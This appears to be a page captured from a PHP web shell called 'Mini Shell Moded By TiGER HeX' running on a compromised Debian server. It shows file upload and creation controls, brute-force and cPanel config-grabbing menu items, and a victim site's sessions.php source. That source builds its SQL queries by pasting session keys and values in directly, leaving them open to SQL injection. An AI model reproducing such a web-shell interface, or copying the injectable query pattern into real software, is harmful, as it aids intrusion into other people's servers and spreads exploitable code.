Mini Shell Moded By TiGER HeX
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
var
/
www
/
50mmla
/
includes
/
static
/
Linux midnightridazz 4.19.0-11-cloud-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
Upload File :
New :
File
Dir
//var/www/50mmla/includes/static/sessions.php
<?php function sess_open($save_path, $session_name){ return true; } function sess_close() { return true; } function sess_read($key) { global $db; $sql = "SELECT value FROM 50mm_sessions WHERE session_id = '$key' and expires > '" . time() . "'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); return ""; } $row = $db->sql_fetchrow($result); $value = $row['value']; return $value; } function sess_write($key, $val) { global $db; $expires = time() + SESS_LIFE; $value = $val; $sql = "SELECT COUNT(*) AS total FROM 50mm_sessions WHERE session_id = '$key'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $row = $db->sql_fetchrow($result); $count = $row['total']; if($count > 0){ $sql = "UPDATE 50mm_sessions SET expires = '$expires',value = '$value' WHERE session_id='$key'"; }else{ $sql = "INSERT INTO 50mm_sessions (session_id,expires,value) VALUES ('$key', '$expires', '$value')"; } if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } return true; } function sess_destroy($key) { global $db; $sql = "DELETE FROM 50mm_sessions WHERE session_id='$key'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } return true; } function sess_gc($maxlifetime) { global $db; $sql = "DELETE FROM 50mm_sessions WHERE expires < '" . time() . "'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } return true; } if(SESS_STORAGE=='MYSQL'){ session_set_save_handler('sess_open', 'sess_close', 'sess_read', 'sess_write', 'sess_destroy', 'sess_gc'); } ?>